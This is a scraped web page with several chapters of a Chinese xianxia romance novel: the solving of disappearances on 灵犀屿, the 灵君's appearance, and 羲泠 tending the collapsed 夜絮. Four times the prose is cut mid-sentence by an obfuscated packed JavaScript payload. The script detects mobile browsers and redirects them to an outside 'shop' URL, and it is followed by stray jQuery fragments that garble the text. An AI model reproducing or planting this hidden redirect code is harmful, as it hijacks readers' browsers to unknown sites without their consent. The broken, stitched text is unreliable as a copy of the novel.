羲洵抿了抿干涩的唇,试图没话找话,“为何会因为梦境而忧虑?你看,现在我们已经找到了归魂灯,不就证明镇幽珠仍有恢复的希望吗?只要我们——” 珞瑶睨了他一眼,抽出被抓住的衣袖,“别说话。” “……” 羲洵哽住,只有闭上嘴。 珞瑶给他留出了休息的时间,自己则走远了一些。羲洵不确定她有没有恼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307322|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,片刻过去,忍不住试探着唤:“阿瑶?” 珞瑶不理他。 羲洵没放弃,锲而不舍,“阿瑶……” 这下珞瑶回头了,她被叫得心烦,却也发不出脾气来,望着树下那人,“什么事?” “我木讷吗?” 珞瑶以为自己听错了,“……什么?” 羲洵自认心境还算平和,从没想过会因为一只精灵的话耿耿于怀至此。他鬼使神差问出了口,又重复了一遍,“你觉得我木讷吗?” 珞瑶沉默了,莫名其妙之余,后知后觉回想起镜花对他的“评价”。 事实上据她的了解,镜花看不上除自己以外的所有男人,每个都能被无中生有地挑出错处来。 她缓缓踱了回来,心里斟酌着答案,“要是太跳脱,不就没有神的威严了吗?” 那就是不木讷了? 羲洵习惯了她的词不达意,揣摩着她想表达的意思,基本确认了自己的猜测后,唇角便开始不自觉地上扬,“你说得对。” 九天灵鹿的身体里好像还藏了只小鹿,撞得他心乱,原先被镜花惹出的郁气闷在里面,也被爽快地一笔勾销了。 …… 他们已在这里耗费了很多时间,珞瑶没心思再追究羲洵到底瞒着什么,想着尽快破了灵犀屿的悬案才是最要紧的事。 那些失踪的精灵很有可能还被困在这里,两人继续前行,寻找着它们的踪迹,还没走了两步,就听见花丛中传来微弱的呼救。 “救命,救命……” 两人循着声音,很快找到了声音发出的地方,花间挂着一张蜘蛛网,一只蜜蜂被牢牢粘在上面,动弹不得,也不知断水断粮了多久。 是失踪的蜂灵。 找到了蜂灵,也许能顺藤摸瓜找到其他几个的下落。 珞瑶将蜂灵从蜘蛛网上救了下来,没来得及询问,身侧突然涌来一阵寒风,裹着潮湿的水汽迅速向他们靠近! “小心!” 急促的风声里,两侧大树不安地摇晃起来,乱叶飞旋,混乱中露出一把尖锐的三叉戟,疯狂向他们袭来,“你们是这只蜜蜂的同伙!” 那是一道愤怒的女声,只是口音略有些怪异,不像岛上的精灵。 珞瑶立刻闪身避开,和羲洵一起飞向树冠,身形瞬间拔高数尺,那人也不甘示弱,又朝他们追了上去! 天空震出了气波,大片繁茂的树叶和枝杈呼啸而下。 打斗间,珞瑶看清了那“人”的模样,长长的鱼尾,居然是一只鲛灵! 凭借珞瑶和羲洵的力量,对付一只小有修为的鲛灵轻而易举。那鲛灵像是也意识到战况不利,再一次与羲洵交手时,她的眼眸动了动,变成了深邃的紫色。 那双紫瞳直直对上羲洵的视线,好像能把人吸进漩涡里,下一刻,她开始吟唱,悠扬的歌声勾魂摄魄,仿若天籁。 这是独属于鲛族的魅惑之术,足以夺人心智,让人不自觉地沉溺下去,岂料羲洵掌心灵光更盛,不仅没被迷惑,还给了她重重一击! 34. 江河一粟(八) “啊!” 歌声戛然而止,被一声惨叫代替,紧接着便是重物落地的巨响。 满地尘土飞扬,被砸出了一个大坑,鲛灵有气无力地陷在里面,手里的三叉戟早已飞得不知哪里去了。 “你、你为什么能看穿我的魅术?” 她有气无力,看着两人从空中缓缓落回地面,几乎称得上气定神闲。 羲洵看似询问,但语气已经基本笃定,“你就是用这种办法把精灵吸引进来的吧。” 鲛灵从坑里爬出来,满脸满身都是灰,只能看清那双紫色眸子左右飘忽了一下,先看了看仍处于昏迷的蜂灵,周遭无人,又移回到两人身上。 “什么精灵?我从海里出来就迷路了,没见过什么精——” “唰”地一声,锋利的尖端突然刺向她,离她鼻尖不过一寸远。 珞瑶拿着那把断了一半的三叉戟,冷声:“说实话。” 鲛灵被猛然一吓,感觉头皮都麻了半边,她哪里能料到这次来的会是两个和之前完全不一样的硬茬,当下也不敢再耍滑,着急忙慌地全招了,“我我我我,我也不想啊!我在这里唱歌,原本是想引起外面的注意好救我出去,谁知道会招来一群帮倒忙的啊?” 又是“唰”地一声,那戟尖从她脸前移开了,带起一阵风。 珞瑶扔了三叉戟,“继续交代。” 端看两人的装束完全不像灵族,而且对付自己不费吹灰之力,恐怕大有来头,鲛灵吞了下口水,正想说什么,忽然捂住自己的脖子,大口呼吸起来。 “水,水……” 她满脸痛苦,倒在地上挣扎,裹了一层泥土的皮肤以肉眼可见的速度迅速干涸、开裂。 意外突如其来,羲洵看出了她此时的境况,对珞瑶道:“鲛族不能长时间离水,得赶紧想办法。” 这里离海湾极近,水就在眼前,奈何出不去幻境,鲛灵一息尚存,听后艰难地伸出手,向他们指了一个方向。 珞瑶抬眼望去,看见远处枯败的树根横断在路旁,周遭生了几丛灌木,后面掩着一个小小的积水洼。 珞瑶立马驱动灵力,挥动两指,将鲛灵从原地的土坑里拉出来,朝水的方向遥遥抛了出去。 那积水洼看着小,却足够深,应是大雨过后形成的,随着“扑通”一大声,登时溅起了几人高的水花。 鲛灵被扔进水里,虽然摔得够呛,但总算得到了救命的水源,在里面待了许久才露出水面。 她喘着大气,筋疲力尽地趴在水边,“差点、差点就要去见曾祖母了……” 清水洗净了鲛灵身上的污泥,使她露出真容,眉眼深邃,乌发卷曲,上身以珍珠海贝蔽体,耳鳍和鱼尾呈现出螺黛般绚丽的色彩,在水面闪着粼光。 鲛族世代居于灵界诸岛下的海底,人身鱼尾,相比精灵的种种特征,他们明显更具人形,却是灵界土生土长的古老族群。 “我叫阿漾,是灵犀屿海底的鲛灵。” 也许是回到水里成功捡回了一条小命,鲛灵对两人没那么畏惧了,坦白了前因后果,“母亲说岸上危险,不许我去,我没听她的,自己偷偷游了上来,然后就被困在这里了。” 神识控制下的幻境威力强盛,只要进来就难有逃离的可能。 羲洵问:“有精灵误入此地,你为何不与之结伴寻找逃脱之法,而是对它们下手?” “它们活该!” 阿漾听后立马义愤填膺起来,指着昏睡的蜂灵,“起初我还真相信了它,结果它打起了我的注意,想拔我的鳞片拿出去卖,我把它粘在蜘蛛网上晾几日,不过分吧?” 世间的血腥和压迫无绝无尽,在各界见不得光的交易之地,鲛灵身上的鲛珠、鳞片一直是有价无市的珍稀物件。大海是鲛族的护身符,为了自保,它们从不轻易上岸,多年来也与岸上的精灵相安无事。 当然,这份“相安无事”建立在它们永不离海的基础上。 面对阿漾的一面之词,珞瑶和羲洵心下自然存疑,也许蜂灵又会是另一套说法。 阿漾见他们不信,“哼”了一声,尾巴一拍飞溅出水花,正好淋了地上的蜂灵一身。 蜂灵浑身一打颤,片刻终于醒转过来,谁知第一眼看见阿漾就被吓得屁滚尿流,慌不择路地想逃,嘴里胡乱求饶:“奶奶,饶了我,我再也不敢了!” “……” 两人彻底打消了疑心,继而问:“两只树灵现在在哪里?” “杀了。”阿漾愤愤,“那几个浪荡子不守夫道,看见个鲛族就新鲜得移不开眼,不说拔刀相助送我回家,还妄图对我不轨,摸我的尾巴,他们也配!我这是为灵除害。” 本以为阿漾不会下杀手,没想到还是闹出了命案,珞瑶听过了缘由,随之回想起在精灵群落时问起树灵的特征时,喜鹊委婉的回答。 “他们生性顽劣,被母父逐出了家门,如今年纪已到,但皆未寻得妻主……” 她心中大致有了数,问起最后一个,“那水貂呢?” 阿漾不知道什么是水貂,歪着头想了好半天,总算恍然,“哦,你说它啊。” 她游到水洼后面,在灌木丛里翻找了半天,最后总算掏出了一团不省人事的雪白,看样子没死。 阿漾:“这个树林比我们大海冷多了,尤其是天黑之后,我又出不去,只能用它御寒了。” “……” 珞瑶和羲洵对视了一眼,又转回去,一时沉默了。 许是被四只眼睛同时盯着太不自在,阿漾小声嘀咕:“这里能吃的东西本来就少,我都快饿死了,好不容易捡着几个果子,它还想偷,我不打它打谁?” …… 让整个灵犀屿人心惶惶许久的失踪悬案,最后竟然是这般结果,阿漾固然有罪,但还无需动用神罚,自有灵族自行料理。 珞瑶原本担心此事与幽祟有关,现在没了顾虑。没过多久,树后一阵窸窸窣窣的响动,高而茂密的绿草被拨开,一张艳丽的脸庞就这么令人意外地映入了眼帘,“殿下,我可算找到你了!” 镜花头上沾着草叶,应该也在这里受了不少苦,在看见珞瑶的一瞬间眼眶便红了。 受惊的小桃花三步并作两步,以迅雷不及掩耳之势钻进了珞瑶怀里,珞瑶没有防备,被他撞得退后了半步,幸好被身边的羲洵一把扶住了腰,才没有倒下去。 镜花对此毫无察觉,不管不顾地抱着她不放,边哭边抱怨,“我就说这里邪门,你非要来,要是找不到你,我也不回去了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312945|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 两人一灵停在原地,就这样以一个诡异的姿势僵持住了。 珞瑶没遇上过这种情况,明显露出了几分无措,她侧首看向羲洵,那双琥珀眸正一转不转地盯着镜花,眉头紧紧拧着,被气得不轻。 羲洵眸子一抬,和珞瑶对上了视线,潜藏的气恼里很快又添进去几分控诉。 他是忍不了了,上前解救珞瑶,后者顺势挣扎,拉扯半晌,总算将镜花从自己身上扒了下来。 “你怎么也来了?”珞瑶问。 镜花擦干净眼泪,委屈道:“我不放心,就偷偷溜来了,听说鲛族发现族中少了一只鲛灵,告到了灵王那里,现在正四处寻找呢。” 鲛族与世无争,但最是爱护族灵,看来还是要尽早把阿漾交出去,免得生乱。 “走吧。”珞瑶道。 到了离开这里的时候,羲洵动用神力,眉间金印明暗,用指尖靠近了那道浅淡的幻境结界。 借助幻境,上古与新生的神明力量交汇,第一次跨越时空完成了合流。 下一刻,结界如雾般缓缓散去了。 …… 与此同时,越过数个岛屿,依山而建的高塔灵气缭绕,萤火森森。 这便是灵族朝廷议事的灵宫,塔外,一支来自冥族的鬼差陈兵于此,为首的将帅早早便被迎进了内室,奉为上宾。 嬴夫人再度掌权后,炎庚再受重用,被任命为使者前往其他族界,以示两族和睦,灵宫便是此行的最后一站。 他已在此等候许久,灵族说得上话的首领却迟迟不露面,不免令人怀疑其交好之心。 内殿空旷,只有几只静默垂首的精灵守卫和侍官,炎庚独自坐在左首木椅上,心下不虞渐盛。 就在他耐心耗尽,将要带着手下离去之时,一个拄着乌木法杖的银发妇人才快步赶了出来。 炎庚站起身,冷笑道:“灵王真叫我好等。” 灵族由母性把控政务,最高统治者为灵君,但极少露面,族中大小事务皆由当今灵王穆颐决断。 穆颐岂会感知不到炎庚的不悦,无奈实有要事在身,赔笑道:“是灵宫招待不周,望炎将军海涵……只是,今日政事怕是议不成了,族中来了急报,我必须过去一趟。” 炎庚难以尽信她的话,眯了眯眼,“敢问是出了何等急事,还需灵王亲自出马?” 穆颐踯躅,好在眼下灵犀屿的事顺利解决,已算不上什么不可外传的丑闻,于是向他坦白一番,说完又道:“没想到此事惊动了上界,竟令圣女和羲洵神君现身灵犀屿,我实是惶恐。” 起初,炎庚心中并无波澜,直到听见珞瑶和羲洵的名字,他眸光动了动,嘴角隐隐勾了一下。 这样都能遇上,还真是巧。 他有了主意,劝慰道:“灵王不必自责,早就听闻灵界诸岛风景奇美,我未尝领略一二,不如顺道随灵宫队伍同去,灵王意下如何?” “这……” 炎庚心知穆颐的为难,道:“灵王放心,我自不会插手灵族的内务。只是今日恰好圣女也在,我身担圣使之职,合该前去拜见。” 穆颐当真忘了这一层关系,经他提醒才想起来,于是顾虑尽消,一口答应下来,“炎将军,请。” 35. 江河一粟(九) 午后时分,珞瑶和羲洵带着镜花等人返回了精灵群落。 再见失踪的族人,精灵们都欢欣不已,围着昆舆神座载歌载舞,对待阿漾则疏离了不少,在她不远不近的地方活动,又能看出几分好奇和探究的意思。 期间,镜花想拉珞瑶一起跳舞,但没得逞,珞瑶的性子远没有外放到那种程度。 她和羲洵坐在树下,身边是略显不自然的阿漾,不一会儿功夫,天边划过几道光亮,来自灵宫的方向。 自打羲洵用神力解开了幻境的封锁,他们在灵界的消息就瞒不住了。两人对此并不意外,见穆颐匆忙赶来,低首见礼。 令他们意外的是,和穆颐一起来的居然还有一个人。 “你怎么在这里?”珞瑶问。 炎庚道:“灵、冥两族交好,我代冥后前往灵界共议政事,今日听闻殿下在灵犀屿,特来见过。” 他声调轻扬,仿佛心情很是不错,目光由珞瑶移向她身边的人时划过了一丝暗色,转瞬又恢复如常,向神明欠身。 许是感受到了冥界浓重的阴气,灵犀屿的精灵们在见过灵王后便退避三舍,聚在神座下不敢靠近,连镜花也跑得没影了。 关于灵犀屿先前闹出的失踪案,羲洵向穆颐说明了前因后果,以及晴水湾是上古神识控制下形成的幻境一事。 穆颐听后了然,这才明白了为何灵族遍查不获,“原是如此,多谢圣女、神君出手相助。” 想起灵族圣使禀报时的话,珞瑶皱起眉,“灵犀屿精灵无故失踪,既然迟迟查不出头绪,合该尽早报上神山,灵王选择秘而不宣,实是欠妥。” “圣女恕罪。” 像是料到此事一定会被提及,穆颐笑意变淡了许多,“百姓失踪,我亦心急如焚,可我别无选择。” 灵界式微,从来都不是冥界的对手,也就无所谓当着炎庚的面暴露什么弱点。穆颐无可奈何地低下头,终是不再强撑,开口坦白。 “灵族在上古母神的滋养下诞育,不是没有过极盛之时,可近年来灵力衰微,天骄寥落,别说天赋异禀者,就连参透灵根、能化人形者都少之又少,再这样下去,我真担忧灵族会如魔族一般,再也没了希望。” 妇人面容秀美,此刻难以自抑地露出疲惫的神色,而背脊依然挺立如竹,“我们是实力远不如前,可傲骨犹在,未尝屈于他族。一旦将消息传出去,灵界就成了各族眼中依靠上界才能勉强运作的菟丝子,可是,比起成为心怀鬼胎者眼中的肥肉,我更怕伤了族人的心,搅散了内里聚着的那口气。” 古树下,精灵们的畏惧消散了大半,正探头探脑地向外张望,不知在望对岸渺远的山野,还是脚下熟悉的土地。 日西沉,水东流,唯有家园依旧。 曦晖洒落在地上,映着点点树叶的光影,愈发显得如梦似幻。林中风起,十里花摇蝶舞,昆舆神座如有感应,亮起了幽微的光。 须臾,一缕轻柔的云雾由远及近,徐徐漫进精灵群落,化作一个身量纤细的白衣女子,墨发披散,头戴玉冠,满身不食俗世烟火的气度。 “许久不见上界来客,久等了。” 她声线轻柔,几乎没有起伏,像浮在玉璧表面的水雾,一抹即散。 来者毫无征兆地降临,精灵们惊得说不出话,还是喜鹊先回过神,才将它们拉了回来。 一众精灵手忙脚乱地伏地,对着女子山呼行礼,“见过灵君——” 世代以来,灵族信仰上古神昆舆为始祖,历任灵君则被认为继承了昆舆之力,是始祖的传承者。事实上灵君不理政事,更像精神领袖,灵王摄政掌实权,论起地位来,却是低其一级的下属。 当今灵君离俗避世,名讳月出晓。 比起灵犀屿的众精灵,灵王穆颐显得更加震惊,忙走近几步,“君上,你怎么来了?” 月出晓未言,轻抬了抬手,白如雪的衣袖晃了晃,带起和缓的风。 她越过穆颐走向珞瑶几人,唇边始终含着恰到好处的笑,“我久未出世,今日再见故人,只觉亲切。” 对于这位灵君,珞瑶了解不多,也鲜少有接触,羲洵也是如此,所谓“故人”不过是数面之缘,这次来灵界见到她,属实在他们意料之外。 于是,珞瑶只向月出晓颔了颔首,而后者好像不在意一样,身形缥缈,如轻烟般飘过一众精灵,最后来到昆舆神座前。 灵界族人见到始祖神座,按规矩应该参拜祈福。 月出晓闭上眼,十指以一种古老的手势相交叠,指尖聚起柔和的莹光。 下一刻,巨树的藤蔓好像活了过来,向周遭无限蔓延,残花衰草也随之复苏,如注入生机般挺立起来。 灵君拜祭昆舆神座,神座之中蕴含的灵识感知到召唤,如一束细密的丝线连通里外,引起前所未有的共鸣。精灵们亦收到感召,受灵力驱使飞上天空,簇拥在它们的君主周围,如满天星辰捧起月亮。 从震慑慨叹,到动容垂泪,最后伏地叩拜,山呼“吾族恒昌”,那是对本族力量的崇拜,是由心的臣服。 风中,月出晓乌发飘拂,眉间玉冠如有生命般流转着华光,在灵界子民炙热的冀望中,颜色清浅的繁花凭空而现,开满了她的裙角。 海面起伏动荡,潮水接连不断地拍打着岸边,昭示着海底鲛族越来越不安的情绪。 月出晓的眼巡过一周,落在了独自在角落的鲛灵身上。 “你就是阿漾。” 比起疑问,她的话更像自问自答。 阿漾低着头,等待着君主发落惩罚,不论如何,自己身上到底是背负了两条性命。 月出晓眸光流转,抬手一挥,阿漾身下黛色的鱼尾缓缓消失,继而变成了一双属于人的双腿。 灵族想要化成人形需要身有灵根,且耗费千年时间潜心修炼,阿漾尚未修成这份能力,灵君却直接赋予了她。 周遭惊叹声四起,连阿漾自己也呆住了。月出晓恍若未觉,依然是那副温然的面庞,“惩凶除恶,适度还击,何罪之有,你可愿跟我走,去浮翠岛为官?” 浮翠岛是灵君独居的岛屿,座下有十二位御前内官,现任灵王就是出身其中受到重用,而后渐渐掌权的。 可以说,成为浮翠岛的内官是每个精灵趋之若鹜的梦。鲛族不常出海,本身实现的难度就要更上一层,而今有了灵君的青睐,阿漾便无需再努力了。 “谢过君上,谢过君上!” 阿漾大喜过望,伏地千恩万谢,其他精灵也露出艳羡的神色,月出晓垂下眼睫,几不可见地摇了摇头,“以前,我也有这样一位伯乐。” 她轻声自语,风一吹便散了。 旁人没能听清,几步之外的穆颐却浑身一震,立刻抬起了头,而月出晓没有分给她一个眼神,自顾自在树林中行过一段距离,如闲庭信步。 灵君长年不出世,今日在外露面太久,苍白的皮肤逐渐失去血色,白得几乎透明。 穆颐不甘地收回目光,转而向珞瑶和羲洵请示,“圣女、神君,失礼了,我家君上身体不好,不可在外久留,可否让她先行离开?” 对此,两人自然不会为难,看月出晓带着阿漾,由内官护送着离去。 风声平静,炎庚与他们站在一处,望着那道尘烟般虚无的影子,若有所思。 “灵君好像性情大变,不似从前了。”他道。 炎庚的疑问也是众人的疑问。这还是委婉的措辞,与其说“性情大变”,不如说像个假人,仿佛无喜无怒,一言一行都是预先设计好的。 穆颐听见了,怅然叹了口气,“实不相瞒,继位之后,君上的性子就比从前沉闷许多,而且身体每况愈下,越来越虚弱,好在对始祖神灵气的感应始终强盛,从未有过消减。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318133|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音很低,始终控制在精灵们听不见的程度,以免动摇族人的心,珞瑶和羲洵听后,心中也浮起了疑云。 灵君体弱,灵族寥落……这二者之间,可有关联? 穆颐为月出晓的身子挂念不已,羲洵看出她的心焦,索性让她不必相送,率先回浮翠岛去了。 众精灵也四散在各处,一时间,巨树下只剩下三人。 “沧丞他们还在等我们的回音,阿瑶,即刻回上界吧。”羲洵道。 珞瑶颔首,而身旁的炎庚还没有离去之意,道:“属下有要事回禀。” 羲洵眸子一抬,两人的目光在空中交汇,藏着道不明的情绪。 炎庚重新看向珞瑶,沉红色的眸子里隐有暗光,“澜渊的事务,不便在神君面前开口,殿下,能否借一步说话?” 事有轻重缓急,万事在监察幽祟面前都要靠后站,于是,珞瑶随他离开精灵群落,来到了附近一处僻静的山崖边。 炎庚知道珞瑶的底线,不会不知轻重地拿职责之事做见她的借口,他是真有正事,当着珞瑶的面,变出了一卷事先绘制好的舆图。 “我在近几年幽祟出没过的地方都做了标记,在各处设立哨所,安置了隐藏的禁制,若有幽祟复现,立马就会被控制在里面,不说瞬间消灭,但至少不会伤及大批百姓。” 圣使遍设禁制,如同在族界之内布下天罗地网,专门对付可能出现的幽祟,这种举措不仅需要消耗大量的修为和精力,还必须有足够充裕的财力作支撑。 将禁制覆盖整个冥界,短时间内会造成极大的财政负担,他能说服嬴夫人,又摆平了朝廷的异议,应该也做了不少牺牲。 珞瑶:“你做得很好。” 起初,她对炎庚担当圣使之职并不看好,但他之后的表现却大大超出了她的预期。自炎庚继任以来,冥界再没有因幽祟而发生过乱局,这证明了她的决断是正确的。 话毕,珞瑶心里又念着镇幽珠,道:“若无事,我便要回去了。” 炎庚一步拦在她面前,红眸中写着不悦,“刚才还夸我做得好,转眼便要走,你总与羲洵神君在一起,连这点时间都不愿分给我?” 这与羲洵有什么关系? 珞瑶听不懂他潜藏的意思,只用那双淡泊无波的清眸看着他。 炎庚被盯了半天,最后到底是坚持不下去了,“……好了,我开玩笑的。” 他有心留意圣女的一举一动,每日看着她行迹匆匆穿梭于各界之间,岂会天真到毫无察觉,“其实,从你来冥宫寻找归魂灯的时候,我就意识到澜渊圣境应有变故,上界三缄其口,恐怕还是件大事。” 炎庚有心试探,而面前人眸光轻动,始终没有要坦诚的意思。 半晌,他服软地叹了口气,唯有亲自将心意剖开,直言道:“在灵界走完这一趟,我便回冥宫复命了,殿下,有什么我能做的,你可记得开口。” 复原镇幽珠本该是上界的责任,不该涉及无辜众生,珞瑶:“你帮不上忙的。如果被卷进来,只会给你带来危险。” “我还没做过呢,你怎么知道不行?” 炎庚当然知道上界的力量撼天动地,众生难以望其项背,可骄傲半生的白虎最不能接受被人看轻,“你救过我,不论你要什么,我都会努力去做。” 他声音低沉下去,仿佛某种坚定如磐的诺言。 珞瑶抬起眼眸,“我要冥界安稳无忧。” 炎庚的呼吸陡然一窒。 她说完便走了,口吻清晰,简短的一句话里蕴含着泉涌的力量。尽管他知道她没有对自己说实话,而她正追逐着的,一定是比冥界的安危更宏大的东西,但没关系。 “我当然会做到。” 炎庚望着她离去的背影,轻道。 无论多么宏大,多么艰难。 只要能跟着你,我都会尽力一试。 36. 江河一粟(十) 灵界的事尘埃落定,归于祥和,与此同时,另一边的魔界却是截然不同的景象。 孤妄崖上空,夜絮一身玄衣大氅,挡在最前首的位置,他身后,魔族守卫黑压压地陈兵于此,在他对面,竟然是来自仙族的大军。 天空覆上阴霾,两方势力僵持不下,互不相让。 “你说的事我闻所未闻,更无可奉告,仙主,请回吧。”夜絮脸色暗沉。 霄霜分毫未动,直视着他,“我也不想怀疑你,但放眼六界,只有你身怀幻梦造时之术,而且本领超群,除了你,还有谁能损伤朝暮轮?” 那次得知朝暮轮受损后,仙族暗中查探孤妄崖的动向,发现夜絮频频制造时间裂隙,原因未知。霄霜怀疑是他影响了朝暮轮的运行,想要借此陷害蓬莱仙岛。 要知道——能干预时间运转的人,要么本身拥有这种能力,要么逆天而行,动用秘术。 世间有几人承受得起悖逆天道的代价? “如此,我还要感谢仙主高看我一眼了。” 夜絮眼中露出嘲讽,却绝口未提自己制造时间裂隙的缘由。 他做什么,没有向仙族交代的义务。 霄霜神色变冷,举起手中剑直指着他,“你到底说不说!” 仙、魔两族之间本就有旧仇,如今误会叠加,就更别说心平气和地交谈了。 夜絮的耐心也耗尽,“没做过的事,我不会认,你想给魔族扣上这顶帽子?先打过我再说罢!” “轰——” 两人同时出手,强劲的灵力碰撞到一起,震得天地摇晃不止。 气氛变得剑拔弩张,他们身后,两边大军也如潮水般涌上来,就要酿成一场惨烈的战祸。 “住手!” 这时候,天边划过一道明光,白狐影匆匆而来。原先打得难舍难分的大军被强行分开,中间隔了几丈远,连夜絮和霄霜也被迫中断了施法,骤然退后去好几步。 孤妄崖的硝烟燃起得突然,羲泠观测浮生镜时闻到风声,之后便急匆匆赶来。 她在云间现身,目光扫过对峙的双方,而后定在仙族那边,“霄霜,你要造反?” 霄霜听后神色一变,辩解道:“神君明鉴!朝暮轮出事,我实在是——” 羲泠打断:“朝暮轮出事,羲洵不可能没有向你担保过,为何还不肯罢休?” 霄霜面露不甘,向夜絮的方向看了一眼,“神君日理万机,我只怕上界被有心之人蒙蔽,没能看清那人的真面目。” “笑话!” 羲泠向她逼近几步,“眼下幽祟对界内虎视眈眈,你贸然向孤妄崖出兵,是要引起内讧,让我们自乱阵脚?” 这罪名可就大了,霄霜一震,立刻低下头,“不敢!” 上任仙主华辛在世时,霄霜是她的首徒,连羲泠也要称她一声师姐,此次事发,羲泠何尝不明白她的心思,无非是一时被变故冲昏了头脑,又因为旧日积怨,想借机在魔族身上撒气。 她看着霄霜,多少斥责的话堵在口中,最后恨铁不成钢地叹了口气。 羲泠:“我知道你在担心什么,今日我再说一次,你听好了。朝暮轮的损坏并非他人有意为之,不过是天命使然,它不会影响六界安危,就算他日各界借题发难,神山也敢出面庇护蓬莱仙岛。” 霄霜被警告一通,眼下理智回归,终于意识到自己做了一件多么愚蠢的事,不禁一阵后怕。 羲泠目光扫过众人,启唇吩咐:“今日仙主与魔尊见面商讨边防事宜,其余的事一概没有发生过。” 神谕降下,跟随自家主上而来的大军皆被抹除了记忆,不知自己为何会出现在战场,随后纷纷撤退。 “带着你的仙兵,快些回去吧。” 说完,她不再看霄霜,后者忙顺着台阶下来,应了一声,匆匆告辞离去。 人潮散去,只剩下夜絮和他的几个随从,羲泠这才转过身,想替霄霜向他道歉,又想到自己没有立场,也没有资格。 一场针对魔族的闹剧刚刚发生,让她硬不下心肠,“……下次再有这种事,记得及时派人到神山报信。” 羲泠不愿面对他,欲离开时,又因身后传来的话语而停下了,“你知道朝暮轮因何损坏。” 方才过招时消耗了灵力,让夜絮的声音显得有些虚浮,但语气是笃定的。 终于还是没能避开这个话题。羲泠抿起唇,心下涌起一阵愧疚,回过头,却见夜絮的脸色十分难看,不知何时变得苍白。 羲泠微惊,“你……” 她话没说完,夜絮忽然喷出一口血,向后倒了下去。 身后,随从大呼:“尊上!” …… 夜絮一倒,羲泠到底没能离开。 随从们守在两侧,她坐在界主殿的卧榻前,探了夜絮的脉搏,发现他体内灵力混乱,灵台薄弱。 观其状态,这种情况应该已经持续很多年了。 羲泠眼睫轻颤,问:“他为何会如此虚弱?” 魔界太平了几千年,容易引发动荡的魑魅魍魉早就被他一个个料理干净,羲泠想不出,到底还有什么事能让他修为大损。 问完,羲泠忽然想起了方才霄霜说的话,正欲开口询问,身旁的侍从已向她坦白,“自从回到魔界,尊上经常开辟时间裂隙,以此制造出过往记忆的幻境,神君知道的,神族术法对修为的消耗极大,即使尊上曾经用起来得心应手,现在也支撑不住。” 羲泠当然清楚,夜絮是陨落的神,强行动用那些术法会消耗寿命,几乎等同于慢性自杀。 过往记忆…… 她的声音开始发抖,“……什么过往?” “尊上很是怀念在神山的时光,有时沉湎在幻境里,一待就是一整日。” 侍从低下首,轻道,“神君不见尊上的时候,也许尊上已经在里面见过神君千百次了。” 疗伤救人时偶尔会弹断琴弦,飞升以来,羲泠经历过两次琴弦尽断的时刻,指尖出血带来的痛觉,居然不抵此时的万分之一。 得到确切的肯定之后,她闭上了眼,胸中悲意如压枝的雪,也压弯了她的背脊。 夜絮昏迷半日,终于在入夜时醒来。 睁眼时,羲泠正在替他修补灵台,怀抱着清月琴,悠扬的曲调如有实体般飘进他体内,像注入了一泓清泉。 夜絮望着她,即使自己身怀造时之术,也做不到让时间永远停留在这一刻。 他轻唤了一声:“阿泠。” 琴音停下了。 羲泠抬起头,两人沉默相对,隔着几层缥缈的暗色帷帐,如水中望月,雾里看花。 分明近在咫尺,心却被某种无形的东西隔开了。 内殿空空荡荡,除了烛花爆开的轻微响动,便只听得见彼此的呼吸声,羲泠忽然想到:太久了。 已经过去太久了,他们不该再相互折磨了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324980|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “别再沉湎于过去了,总归回不去,不如向前看。”她轻说。 这是羲泠第一次对他说出近似宽慰的话。 夜絮撑着卧榻坐起身,自嘲地笑了一下,“你说得容易……” 数万年前,一个小魔修试图盗取神器以增进修为,天道因而发怒,就此降下谕言:凡魔界中人永世不可登神,登神者必将陨落。 自那以后,世人皆知魔族是一个受诅咒的族群,即便代代天骄出类拔萃,却始终无一人登神,直到夜絮飞升,成为巫神。 对整个魔界来说,夜絮是唯一的希望,他也意气风发,以为自己打破了母族的诅咒,因此也变得更加克己自持,生怕行差踏错一步,便遭到天道的迁怒。 可是后来,他还是没能逃过那七七四十九场雷劫,从神山上陨落了。 